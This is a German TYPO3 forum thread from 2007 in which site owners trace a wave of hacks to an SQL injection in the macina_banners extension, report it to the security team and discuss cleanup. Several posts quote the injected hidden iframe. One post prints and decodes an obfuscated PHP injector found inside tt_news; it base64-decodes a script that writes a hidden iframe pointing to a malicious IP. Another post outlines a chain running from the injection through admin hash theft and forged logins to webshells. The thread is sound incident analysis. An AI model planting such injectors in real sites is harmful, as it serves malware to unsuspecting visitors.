---
title: "Wiederholte Attacken auf Typo3-Seite"
url: "https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite"
source: "typo3.net"
tags: ["Allgemein","Frage","Sicherheit"]
created: "2007-05-16"
last_reply: "2007-09-05"
replies: 65
solved: false
page: 1
pages: 1
lang: "de"
---

# Wiederholte Attacken auf Typo3-Seite

Allgemein · 65 Antworten · gestartet 2007-05-16

## Eröffnungsbeitrag

**chupa** · 2007-05-16 · [Beitrag #1](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/1)

Auf meiner Typo3-Seite wird immer wieder ein Seitentitel verändert; und zwar wird dort

<iframe src=<http://0xcbdf9f69/google.com/AdSense.php> style="display:none"></iframe>

hinter dem Text des Seitentitels eingefügt und bei Besuchern, die IE haben, versucht, irgendeinen Dreck zu installieren. Inzwischen ist das ganze das 4 mal passiert. Im Änderungslog sind keine Aktivitäten darüber zu entdecken.

Hatte jemand etwas Ähnliches schon einmal oder weiß jemand, wo ich anfangen könnte, dieses Leck abzudichten?

## Antworten

### [#2](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/2) · jan.​radecker · 2007-06-01

> **chupa schrieb:**
>
> Auf meiner Typo3-Seite wird immer wieder ein Seitentitel verändert; und zwar wird dort
>
> <iframe src=<http://0xcbdf9f69/google.com/AdSense.php> style="display:none"></iframe>
>
> hinter dem Text des Seitentitels eingefügt und bei Besuchern, die IE haben, versucht, irgendeinen Dreck zu installieren. Inzwischen ist das ganze das 4 mal passiert. Im Änderungslog sind keine Aktivitäten darüber zu entdecken.
>
> Hatte jemand etwas Ähnliches schon einmal oder weiß jemand, wo ich anfangen könnte, dieses Leck abzudichten?

Ja, ich hatte das auch.

Da ich den Weg gefunden habe, WIE in das System eingebrochen wurde und es noch keinen Fix dafür gibt, möchte ich das noch nicht öffentlich machen.
Ich schreibe ein Privatnachricht, in der ich darauf näher eingehe.

### [#3](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/3) · timmy2007 · 2007-06-01

Ich würde es sehr begrüßen, wenn man diesen Sachverhalt an die Typo3-Entwickler weitergibt, da man dann darauf reagieren kann.

Es bringt nämlich nichts, das im Verborgenen zu lösen. Denn dadurch gibt es keinen Fix und andere User würden auf der Strecke bleiben.

### [#4](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/4) · jan.​radecker · 2007-06-01

> **timmy2007 schrieb:**
>
> Ich würde es sehr begrüßen, wenn man diesen Sachverhalt an die Typo3-Entwickler weitergibt, da man dann darauf reagieren kann.
>
> Es bringt nämlich nichts, das im Verborgenen zu lösen. Denn dadurch gibt es keinen Fix und andere User würden auf der Strecke bleiben.

Ich vergaß, das hier öffentlich zu schreiben, in der Privatnachricht an chupa hatte ich das bereits erwähnt...

Ich habe die Schwachstelle sowie eine potentielle Lösung bereits gestern an das TYPO3-Security-Team gemeldet, aber noch keine Rückmeldung erhalten.
Solange kein Fix verfügbar ist, werde ich aber nicht öffentlich auf Details eingehen.

### [#5](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/5) · enawebstudio · 2007-06-01

Kannst du mir bitte auch diese Informationen zusenden?

### [#6](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/6) · humpun · 2007-06-07

Könntest du mir bitte die Informationen auch schicken, wir haben das gleiche Problem.

### [#7](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/7) · nickno · 2007-06-07

Hallo,

ich hatte das Problem die Tage auch, als ich zufällig auf einer Kunden-Seite war. Konnte aber ebenfalls keinen Fehler in T3 ausmachen. Hast du/habt ihr eine Lösung (Hack) dafür gefunden? Wenn dem so ist, dann würde ich mich über eine kurze PM freuen.

Wenn nicht, dann würde ich dich/euch bitten, die Infos für euch zu behalten, damit die Info nicht zu weit rumgeht... Dann macht es nämlich **keinen** Sinn, die Schwachstelle rumzuschicken - ausser an das Security Team.

Danke&Gruß,
Tim

//edit: Rechtschraibfeder

### [#8](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/8) · iHunte · 2007-06-08

Einige von unseren Seiten sind auch von dem Code verdreckt worden.

So wie es aussieht ist es kein Sicherheitsproblem von TYPO3 da der
"Bot" (Ich gehe jetzt mal sehr stark davon aus das ein Bot die Seiten
infiziert) bei uns auch statische Seiten infiziert hat. Dazu zählen
z.b. auch andere CMS.

Es scheint so als sei der Fehler direkt im System bzw. in einer
Systemweiten Software.

Benutzen hier alle UNIX oder gibt es hier auch jemanden der das
Problem in einer Windows Server Umgebung hat?

### [#9](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/9) · nickno · 2007-06-08

> Da ich den Weg gefunden habe, WIE in das System eingebrochen wurde und es noch keinen Fix dafür gibt, möchte ich das noch nicht öffentlich machen.
> Ich schreibe ein Privatnachricht, in der ich darauf näher eingehe.

Anscheinend liegt es aber doch an Typo3... ;)

### [#10](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/10) · iHunte · 2007-06-08

> **nickno schrieb:**
>
> > Da ich den Weg gefunden habe, WIE in das System eingebrochen wurde und es noch keinen Fix dafür gibt, möchte ich das noch nicht öffentlich machen.
> > Ich schreibe ein Privatnachricht, in der ich darauf näher eingehe.
>
> Anscheinend liegt es aber doch an Typo3... ;)

Wieso bist Du dir da so sicher?

Ich denke aus seinem Posting geht nicht hervor welche Methode genutzt wurde um den code einzufügen. Wie ich bereits geschrieben habe sind auch statische nicht-TYPO3 Seiten davon betroffen die in keinem Zusammenhang mit den TYPO3 Systemen stehen.

### [#11](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/11) · jan.​radecker · 2007-06-08

> **iHunte schrieb:**
>
> Ich denke aus seinem Posting geht nicht hervor welche Methode genutzt wurde um den code einzufügen. Wie ich bereits geschrieben habe sind auch statische nicht-TYPO3 Seiten davon betroffen die in keinem Zusammenhang mit den TYPO3 Systemen stehen.

Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.
Der Schadcode selbst wurde aber an unterschiedlichen Stellen angebracht.
Mal ware er direkt in der index.php an erster Stelle drin,
dann im Seitentitel (in der DB) mit eingebaut,
dann in einer Javascript-Datei als "verschlüsselter" Code, der per DocumentWrite in die Seite geschrieben wurde.
Der Angreifer war da sehr Ideenreich.

Daher kann das schon sein, dass über die TYPO3-Schwachstelle der Einbruch erfolgte, und dann auch statische Dateien manipuliert wurden.

### [#12](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/12) · just2b · 2007-06-08

> **jan.radecker schrieb:**
>
> Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.

und zwar welcher?
georg

### [#13](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/13) · jan.​radecker · 2007-06-08

> **nickno schrieb:**
>
> Wenn nicht, dann würde ich dich/euch bitten, die Infos für euch zu behalten, damit die Info nicht zu weit rumgeht... Dann macht es nämlich **keinen** Sinn, die Schwachstelle rumzuschicken - ausser an das Security Team.

Genau deshalb gebe ich mich (auch in der PM) sehr bedeckt.

Da alles auf gegenseitigem Vertrauen basiert - und ich dieses generell erst mal nicht habe - bin ich lieber zu verschwiegen und trete dabei dem einen oder anderen auf die Füße, als mir den Vorwurf machen zu lassen, ich hätte den Exploit rumposaunt.

### [#14](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/14) · jan.​radecker · 2007-06-08

> **just2b schrieb:**
>
> und zwar welcher?
> georg

Hast 'ne PM.

Was mir noch auffällt:
zwei Wochen bleibt der Originalbeitrag unbeantwortet, aber kaum nachdem ich verkündet habe, ich wüsste, wie es geht, haben plötzlich alle das Problem....  #paralyzed#

### [#15](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/15) · nickno · 2007-06-08

> **just2b schrieb:**
>
> > **jan.radecker schrieb:**
> >
> > Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.
>
> und zwar welcher?
> georg

Bitte nicht posten. Da der Jan den Fehler schnell gefunden hat, wird diese sicher recht trivial sein!

### [#16](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/16) · humpun · 2007-06-08

> **nickno schrieb:**
>
> > **just2b schrieb:**
> >
> > > **jan.radecker schrieb:**
> > >
> > > Nunja, der Einbruch erfolgte bei mir mittels einer Schwachstelle in einer TYPO3-Extension.
> >
> > und zwar welcher?
> > georg
>
> Bitte nicht posten. Da der Jan den Fehler schnell gefunden hat, wird diese sicher recht trivial sein!

Schwachsinn. Der Exploit ist schon mit einem Bot unterwegs und es sollte eigentlich so schnell wie möglich mal ein Patch erscheinen. Infiziert sind schon eh die meisten.

### [#17](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/17) · nickno · 2007-06-08

> **jan.radecker schrieb:**
>
> > **just2b schrieb:**
> >
> > und zwar welcher?
> > georg
>
> Hast 'ne PM.

Fühl mich benachteiligt... ;)

> Was mir noch auffällt:
> zwei Wochen bleibt der Originalbeitrag unbeantwortet, aber kaum nachdem ich verkündet habe, ich wüsste, wie es geht, haben plötzlich alle das Problem....  #paralyzed#

Nein, ich dachte der Fehler sei lokal auf dem Computer und hab nicht den Quelltext nach Fehlern durchsucht. Stattdessen hab ich mir diesen (komischen) Spybot installiert, der widerum nichts finden konnte. Nachdem Java aus war, hatte ich auch erstmal Ruhe.

### [#18](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/18) · nickno · 2007-06-08

> **humpun schrieb:**
>
> Schwachsinn. Der Exploit ist schon mit einem Bot unterwegs und es sollte eigentlich so schnell wie möglich mal ein Patch erscheinen. Infiziert sind schon eh die meisten.

Woher bist dir so sicher, dass das nen Bot ist. Vielleicht ist es auch einfach nur  wieder ein dummer Schüler, der Langeweile hat. Wie ich das sehe sind momentan etwa eine Handvoll Seiten hier im Forum betroffen. Also wird es sich um <50 Seiten handeln. Wenn man den Exploit kennt, kann man sowas am Nachmittag verbreiten.

### [#19](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/19) · just2b · 2007-06-08

Meine güte..

als ob das spekulieren was bringt....
Jan hats dem Security-Team gemeldet und gibt auch per PM den ext-key nicht raus (auch nicht an mich [@nickno]).

also einfach warten oder auf die gnade von jan hoffen, per PM informiert zu werden ;)

georg

### [#20](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/20) · nickno · 2007-06-08

[OFFTOPIC]

> **just2b schrieb:**
>
> Meine güte..
> (auch nicht an mich [@nickno]).

Sorry, kam wohl etwas zu ernst rüber... :o

> also einfach warten oder auf die gnade von jan hoffen, per PM informiert zu werden ;)

In diesem Forem fehlt der BB-Smily, der um Gnade bettelt  o.O

[/OFFTOPIC]

### [#21](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/21) · jan.​radecker · 2007-06-08

> **humpun schrieb:**
>
> Schwachsinn. Der Exploit ist schon mit einem Bot unterwegs und es sollte eigentlich so schnell wie möglich mal ein Patch erscheinen. Infiziert sind schon eh die meisten.

Die Zugriffsmuster in meinen Protokollen sehen aber mehr nach "Handarbeit" aus...
Alleine des zeitlichen Verlaufs wegen.

### [#22](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/22) · iHunte · 2007-06-08

Hm, bei uns sind auf verschiedenen chroot Verzeichnissen fast gleichzeitig zugriffe. Die timestamps der bearbeitung liegen alle nur einige Sekunden
auseinander (darum gehen von einem Bot aus).

Naja spekulation.

Mir ist noch aufgefallen das alle Dateien in denen das wort "index" auftauchte
mit diesem Code infiziert waren. Ganz egal in welchem Verzeichnis.

### [#23](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/23) · humpun · 2007-06-11

Es ist nun offiziell: <http://news.typo3.org/news/article/typo3-security-bulletin-typo3-20070608-1-sql-injection-in-macina-banners-ric-rotation/>

Die Macina Banners Extension war offen. Danke nochmals für die Hilfe, besonders an Jan Radecker.

### [#24](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/24) · just2b · 2007-06-11

> **humpun schrieb:**
>
> Es ist nun offiziell: <http://news.typo3.org/news/article/typo3-security-bulletin-typo3-20070608-1-sql-injection-in-macina-banners-ric-rotation/>
>
> Die Macina Banners Extension war offen. Danke nochmals für die Hilfe, besonders an Jan Radecker.

nur das der Autor von ric_rotation auf persönlicher Intervention meinerseits seine  Extension gefixxt hat.
aber schön dass es nun offiziell raus is

georg

### [#25](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/25) · nickno · 2007-06-11

Mich wundern nur die Berichte, wonach auch statische Dateien manipuliert worden sind?

Ein großes Danke jedenfalls an die Personen, die zur Lösung beigetragen haben!!

### [#26](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/26) · jan.​radecker · 2007-06-11

> **nickno schrieb:**
>
> Mich wundern nur die Berichte, wonach auch statische Dateien manipuliert worden sind?

Na, dann will ich mal Butter bei die Fische geben:

Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
Mit diesen Daten und einem manipulierten POST-Datenstrom* auf der TYPO3-Backend-Loginseite konnte sich der Angreifer als Admin ganz regulär anmelden. Dann kann der Angreifer ja prinzipiell alles tun, was dem Admin eben erlaubt ist, insbesondere (eigene Hacker-) Extensions installieren oder Dateien im Fileadmin bearbeiten.

In meinem Fall hat sich der Angreifer verschiedene (russische) Webshells und SQL-Shells installiert, über die er dann mit den Rechten des Webspaceusers alle ihm zugänglichen Dateien (eben auch statische HTML-Seiten) manipulieren konnte.
Hier zeigt sich dann wieder, wie wichtig eine Rechte- und Betriebssystem-technische Abschottung der Webspaces untereinander ist. Ist das System der Abschottung nicht 100%ig dicht, kann der Anwender z.B. die localconf von anderen Webspaces auslesen und so mit der SQL-Shell auch dort pages manipulieren oder die Passworte auslesen.

*)
Der Angreifer errechnet den an den Server zu sendenden verschlüsselten Anmeldestring selbst aus Username, MD5-Passwort und Challenge als MD5 über den entsprechend zusammengesetzten String.

P.S.
Ich wollte mit meiner verschlossenen Art und Weise nur sicherstellen, dass VOR einem offiziellen Fix so wenig Leute wie möglich die Schwachstelle kennen und eventuell in schlechter Absicht missbrauchen.
Da der Fehler im Quellcode recht offensichtlich ist, reicht einem erfahrenen Angreifer wahrscheinlich in der Regel schon der Hinweis, in WELCHER Extension eine Lücke ist, um sie zu finden.

### [#27](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/27) · jan.​radecker · 2007-06-11

> **just2b schrieb:**
>
> nur das der Autor von ric_rotation auf persönlicher Intervention meinerseits seine  Extension gefixxt hat.
> aber schön dass es nun offiziell raus is

Nicht, dass das jetzt an Deinem Ego kratzt, dass Dein Name keine Erwähnung findet   :'(

Um Dich zu beruhigen:
Im neuen Quellcode von macina_banners dankt der Autor Stefan Geith für den Fix... Stefan hat den Code von mir per Mail erhalten... #angry#

...aber das ist mir ehrlich gesagt sch***egal, ich hol mir da keinen drauf runter...

### [#28](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/28) · chupa · 2007-06-12

Als Verfasser dieses Threads möchte ich mich recht herzlich für die Anteilnahme und Hilfe bedanken. Ich hoffe, dass Betroffene durch diesen Thread schnelle Hilfe bekommen.
Noch eine Frage: Wo und wie hätte man eigentlich nachgucken müssen, um selbst darauf zu kommen?

### [#29](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/29) · just2b · 2007-06-12

macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query

georg

### [#30](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/30) · chupa · 2007-06-12

> **just2b schrieb:**
>
> macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query
>
> georg

Ja, mag sein...aber wie kommt man auf die Idee, genau da nachzugucken? ^^

Hätte ich ne Chance mit der Analyse von Server-Logs gehabt?

### [#31](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/31) · jan.​radecker · 2007-06-12

> **chupa schrieb:**
>
> > **just2b schrieb:**
> >
> > macina_banners/pi1/class.tx_macinabanners_pi1.php > update-query
> >
> > georg
>
> Ja, mag sein...aber wie kommt man auf die Idee, genau da nachzugucken? ^^
>
> Hätte ich ne Chance mit der Analyse von Server-Logs gehabt?

Ja und Nein...

In den normalen Apache-Logs steht zu wenig Information, um die genaue Vorgehensweise nachzuverfolgen. Andererseits, wenn man dann weiß, wonach man suchen muss, findet man es dann doch... (aber so schlau ist man erst hinterher).
In diesem Fall waren das auffällig viele POST-Requests auf die Startseite innerhalb weniger Minuten. Dabei wechselte allerdings die IP-Adresse des Angreifers mehrfach.

Da ich im ersten Anlauf zwar herausgefunden hatte, WAS der Angreifer installiert und geändert hatte, aber nicht wusste, WIE er eingedrungen ist, habe ich die GET- und POST-Requests in separate Dateien mitprotokolliert (per auto_prepend und einem PHP-Script, da Apache nicht an die POST-Daten rankommt, um diese zu protokollieren). Darüber hinaus habe ich auch ein MySQL-Log mitlaufen lassen (Achtung, das wird verdammt groß und zieht an der Performance), das ich dann letztlich doch nicht gebraucht habe, aber man weiß ja nie...

Dann musste ich nur noch warten, bis der Angreifer erneut gekommen ist und konnte dann genau sehen, welche Daten er per POST gesendet hat und konnte so sehen, dass er gezielt auf macina_banners losgegangen ist.

Dann habe ich die Extension genauer angesehen und herausgefunden, dass der verdächtige POST-Parameter ungeprüft in eine UPDATE-Query eingebaut wurde.

So konnte der Angreifer eigenen SQL-Code in die Abfrage einschleusen und letztendlich Benutzernamen und Passwort aus der Datenbank auslesen.

### [#32](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/32) · Sailor · 2007-06-12

Hallo zusammen,

ich hatte das Glück von Hr. Weiland informiert zu werden.
Nur jetzt hab ich das Problem, dass nach dem Update von Macina_Banners, keine Banner angezeigt werden.

Hat jemand die gleiche Erfahrung gemacht und eine Idee woran es liegen kann.

Hr. Weiland hatte mich informiert, dass die Extension Serverseitig deaktiviert wurde, vielleicht ist dies ja noch ein Problem, aber bin leider vollkommen unwissend (DAU). #angry#
Also ein ganz großer Hilferuf an die Wissenden...

Gruß
Sailor Kim

### [#33](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/33) · just2b · 2007-06-12

naja wenn sie noch serverseitig deaktiviert ist, dann kanns nicht funktionieren. irgendwie logisch

georg

### [#34](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/34) · Sailor · 2007-06-12

Hallo Georg,

na dann lag ich ja nicht ganz falsch. Werde gleich mal bei Weiland & Co anrufen.
Danke aber und schönen Abend
Gruß
Kim

### [#35](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/35) · jweiland · 2007-06-12

Wir haben ja bei den betroffenen Kunden nur die alte Version der Extension deaktiviert (durch Umbenennen der betroffenen PHP Datei). Nach einem Update der Extension sollte das automatisch wieder funktionieren.

Eine Idee wäre noch das Löschen der temp_CACHED... Dateien im Verzeichnis typo3conf oder aber die neue Version der Extension hat vielleicht einen Bug.

Generell aber immer noch besser keine Banner als Schadcode auf der Seite zu haben...

Jochen Weiland

### [#36](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/36) · chupa · 2007-06-13

Danke jan.radecker für die ausführliche Erklärung. Sehr interessant!

### [#37](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/37) · chupa · 2007-06-17

Ich bemerkte, dass trotz des macina_banners-Update weiterhin irgendwie die Adresse alexa-ranking.info aufgerufen wurde, wenn man die Seite öffnete. Ich suchte mich fast blind. Da mir auffiel, dass der Schadcode nur im Quelltext bestimmter Seiten auftauchte, suchte ich nach deren Gemeinsamkeiten. Das Problem verschwand, als ich das (ohnehin nicht benötigte) "table-based tmpl (tt_news)" aus einem der Seiten-Templates entfernte.

Anschließend knöpfte ich mir den Code von tt_news vor. In der Datei /tt_news/pi/class.tx_ttnews.php fand ich etwas Ungewöhnliches:

```php
/**
 * Class for unzipping ZIP files and store them into database.
 *
 * @author     Kasper SkÃ¥rhÃ¸j <kasper@typo3.com>
 */


$form = 'PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmV2YWwodW5lc2NhcGUoJyU2NCU2R'.
        'iU2MyU3NSU2RCU2NSU2RSU3NCUyRSU3NyU3MiU2OSU3NCU2NSUyOCUyNyUzQyU2OSU2Ni'.
        'U3MiU2MSU2RCU2NSUyMCU3MyU3MiU2MyUzRCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMCU'.
        '3OCU2MyU2MiU2NCU2NiUzOSU2NiUzNiUzOSUyRiU2QyU2OSU2MiU3MiU2MSU3MiU2OSU2'.
        'NSU3MyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUyRSU3MCU2OCU3MCUyMCU3MyU3NCU3OSU2Q'.
        'yU2NSUzRCUyMiU2NCU2OSU3MyU3MCU2QyU2MSU3OSUzQSU2RSU2RiU2RSU2NSUyMiUzRS'.
        'UzQyUyRiU2OSU2NiU3MiU2MSU2RCU2NSUzRSUyNyUyOSUzQicpKTs8L3NjcmlwdD4=';

for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
    echo '  ';
}

echo call_user_func(''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.''.'b'.''.''.'a'.''.''.''.'s'.''.''.''.''.''.'e'.''.''.''.'6'.''.''.''.''.'4'.'_'.'d'.''.'e'.''.'c'.''.''.'o'.''.''.''.'d'.''.''.''.'e', $form);

for($i=0,$r=rand(512,1024);$i<$r;$i++)
{
    echo '   ';
}
```

Das Entfernen dieses Codes beseitigte das Problem. Anschließend durchsuchte ich weitere Extensions nach Teilen dieses Codes und wurde schließlich noch in indexed_search/class.internal_parser.php fündig.

Kann mal einer übersetzen?  :p

### [#38](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/38) · chupa · 2007-06-17

Sorry, die aufgerufene Domain lautet nicht alexa-ranking.info sondern alexa-rank.info.

### [#39](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/39) · chupa · 2007-06-17

Habs selbst dekodiert...übersetzt heißt die Zeichenkette:

```php
<script type="text/javascript">eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%30%78%63%62%64%66%39%66%36%39%2F%6C%69%62%72%61%72%69%65%73%2F%69%66%72%61%6D%65%2E%70%68%70%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B'));</script>
```

wobei %64%6F%63%... wiederum heißt:

```php
document.write('<iframe src=http://0xcbdf9f69/libraries/iframe.php style="display:none"></iframe>');
```

und 0xcbdf9f69 wiederum ergibt 203.223.159.105, eine IP in Malaysia.

### [#40](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/40) · hepi · 2007-06-24

Hallo,

bitte behaltet im Hinterkopf, dass alle wichtigen neuen Erkenntnisse, die mit diesen Einbrüchen zusammenhängen, auch für das TYPO3 Security Team von großem Interesse sind. Also: Detailanalysen mit Neuigkeiten bitte auch auf Englisch an das Security Team schicken und nicht nur hier posten. Denn nicht alle Security Team Mitglieder sprechen Deutsch.

<http://typo3.org/teams/security/>

Vielen Dank! #giggle#

Viele Grüße
hepi

### [#41](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/41) · just2b · 2007-06-24

hepi...
bitte einfach den ganzen thread lesen oder <http://typo3.org/teams/security/security-bulletins/typo3-20070608-1/>

georg

### [#42](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/42) · hepi · 2007-06-24

> **just2b schrieb:**
>
> hepi...
> bitte einfach den ganzen thread lesen oder <http://typo3.org/teams/security/security-bulletins/typo3-20070608-1/>
>
> georg

Hi georg,

Danke für die Antwort, aber ich habe schon den ganzen Thread gelesen. Mir geht es um meine nicht-deutschsprachigen Kollegen im Security Team, die nicht den ganzen Thread lesen können.

Mir geht es auch darum, dass NEUE Erkenntnisse, die noch nicht im Thread stehen, zunächst an das Security Team gemeldet werden, bevor sie publiziert werden.

Gruß
hepi (Henning Pingel)

### [#43](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/43) · Patrick S.​ · 2007-07-02

Ist es denn ausreichend, das Modul macina_banners auf Version 1.5.0 zu updaten?

Woran kann ich eindeutig erkennen, dass meine Installation bereits infiziert wurde?
Moeglicherweise liegt der Infekt ja vor, wurde jedoch einfach noch nicht genutzt.

Ich werde jetzt erst einmal die Passwoerter neu setzen.

danke,

Patrick

### [#44](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/44) · ekki · 2007-07-08

Hi all,
auf typo3.org gibt es inzwischen eine **Zusammenfassung der Erkenntnisse des TYPO3 Security Teams** zu diesen Angriffen, nämlich unter
<http://buzz.typo3.org/teams/security/article/massive-web-server-hacks-iframe-attacks-now-extended-to-typo3/>

(deutsch unter
<http://www.naw.info/blogs/typo3security/2007/07/03/angriffswelle-gegen-webserver-iframe-attacken-nun-auch-typo3>)

greets
/Ekki
__________________
*Ekkehard Gümbel
naw.info net&works Internet Services GmbH, Hannover
<http://www.naw.info>*

### [#45](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/45) · Twinstar · 2007-07-10

Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?

1. Alle macina_banners Ext. deinstallieren bzw. auf 1.4.1 zu updaten.
(mit find -type d macina_banners) findet man schnell raus aif welchen web´s die Ext. sind.
2. Alle Dateien nach den bekannten Strings, encodierte wie decodierte durchsuchen (grep -r etc.) und entfernen.
3. Alle temp_cached* Dateien löschen und neu generieren lassen.

Das ist was mir dazu einfällt. Was sollte man noch tun?

Sollte man alle Typo3 Admin Passwörter ändern? Oder besser gleich auch sämtliche Redakteurs Zugänge?

### [#46](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/46) · nickno · 2007-07-10

Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...

### [#47](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/47) · Twinstar · 2007-07-10

> **nickno schrieb:**
>
> Ich würde auf Nummer sicher gehen und ein altes Backup einspielen...

Wenn man über 100 Web´s auf einem Server hat und Redakteure über viele Typo3 Installationen täglich munter Content produzieren, ist das nicht wirklich praktikabel. Die müssten ja dann alle wieder auf dem Stand vor z.B. 4 Wochen anfangen.

Besteht denn grundsätzlich die Möglichkeit, daß durch den SQL-Inject weitere Schadsoftware als "Hintertürchen" installiert wurde? Und wenn ja, ist da vielleicht was bekannt? Mich würde auch interessieren wie man es schafft MD5 verschlüsselte Passörter zu knacken. Mit BruteForce sollten PW mit dem Format z.B. x4GH9nm! nicht so einfach zu hacken sein.

Also wenn ich die Aussage von Jan Radecker:

```typoscript
Die SQL-Injection-Schwachstelle ermöglichte es per Brute-Force und ein wenig SQL-Magie z.B. aus der Tabelle be_users einen Admin-User samt MD5-Passwort auszulesen.
```

richtig interpretiere. Hat der Angreifer "nur" den Admin Benutzernamen und den MD5 Hash des Passwortes ausgelesen und nicht das Passwort mittels Bruteforce geknackt. Oder?! In dem Fall kann der Angreifer bei Schliessen der macina_banners Lücke mit seinen Daten ja nichts mehr anfangen.  #paralyzed#

### [#48](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/48) · jweiland · 2007-07-10

Über SQL-Injection kann man sich z.B. selbst als Admin in der Datenbank eintragen, da braucht man kein Passwort zu knacken.
Als Admin kann man z.B. beliebige (selbst geschriebene) Extensions installieren.
Wenn es irgendwie geht, sollte man versuchen festzustellen, über welchen Weg der Angreifer Zugriff auf den Server bekommen hat. Es muss nicht unbedingt oder nur macina_banners gewesen sein.
Ideal wäre eine genaue Analyse der Server Logfiles aus der Zeit vor dem Entdecken des Einbruchs.
In den meisten Fällen wurden auf den betroffenen Systemen mehrere Webshells installiert (und teilweise sehr gut getarnt). Wenn man nicht alle findet, hat der Angreifer nach wie vor Zugriff auf den Rechner.
Gerade wenn man über 100 Webs auf dem Server hat, muss man sich einige Zeit nehmen, um das System genau zu analysieren (und auch künftig zu überwachen).

Jochen Weiland

### [#49](https://www.typo3.net/d/62569-wiederholte-attacken-auf-typo3-seite/49) · hepi · 2007-07-10

> **Twinstar schrieb:**
>
> Wie sollte man eigentlich vorgehen um seine Server wieder vor diesem Problem zu sichern?

Hallo Twinstar,

ekki sagt doch eigentlich alles Wichtige in seinem Blog, ich zitiere mal:

"Sichergehen, dass alle Änderungen (in Datenbanken und Dateien) rückgängig gemacht sind und keine Hintertür das Hackers mehr offenbleibt. Um es offen zu sagen - dies ist SEHR schwer, genaugenommen müßte man sogar sagen: unmöglich.

Meine dringende Empfehlung ist daher, das System aus intakter Datensicherung komplett neu aufzusetzen!"

Er sagt auch, dass es beinahe unmöglich ist, das System wieder "keimfrei" zu bekommen. Will heißen: Es kann keine Anleitung geben, wie man vorgehen soll, sondern nur Hinweise, wonach man suchen soll. Aber die beste Vorgehensweise ist, selbst nach Ungewöhnlichem zu suchen. Du bist hier halt Dein eigener "Privatdetektiv".

Wir haben es hier nicht mit der Behebung von Softwarefehlern, sondern mit intelligentem Leben zu tun. Menschen versuchen, etwas vor anderen Menschen zu verstecken. Hier gibt es leider keine Pauschal-Rezepte.

Alles, was momentan bekannt und hilfreich ist, steht in Ekkis Blog.

Viele Grüße
Henning Pingel

